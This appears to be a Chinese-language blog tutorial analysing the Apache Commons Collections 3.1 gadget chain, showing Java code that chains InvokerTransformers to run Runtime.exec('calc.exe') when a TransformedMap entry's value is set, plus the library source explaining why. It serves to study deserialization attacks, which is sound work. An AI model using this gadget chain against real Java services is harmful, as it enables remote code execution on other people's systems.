Map map=new HashMap(); map.put("key","value"); //調用目標對象的toString方法 String command="calc.exe"; final String[] execArgs = new String[] { command }; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs) }; Transformer transformer=new ChainedTransformer(transformers); Map<String, Object> transformedMap=TransformedMap.decorate(map,null,transformer); for (Map.Entry<String,Object> entry:transformedMap.entrySet()){ System.out.println(entry); entry.setValue("anything"); }
執行結果:
java
經過上一篇https://blog.51cto.com/13770310/2160737文章, 可知ChainedTransformer的transformer方法能夠執行惡意代碼。
上述代碼的關鍵是:ide
for (Map.Entry<String,Object> entry:transformedMap.entrySet()){ System.out.println(entry); entry.setValue("anything"); }
爲何執行了 entry.setValue("anything");就能夠形成惡意代碼執行呢?接下來咱們看transformedMap類的checkSetValue方法:code
/** * Override to transform the value when using <code>setValue</code>. * * @param value the value to transform * @return the transformed value * @since Commons Collections 3.1 */ protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
當transformedMap對象執行setValue方法時會調用valueTransformer的transform方法,若是傳入的valueTransformer是ChainedTransformer的對象,那不就能夠形成惡意代碼執行了嗎。
接着查看上面代碼:
所以該代碼的核心仍是使用的ChainedTransformer的transformer方法orm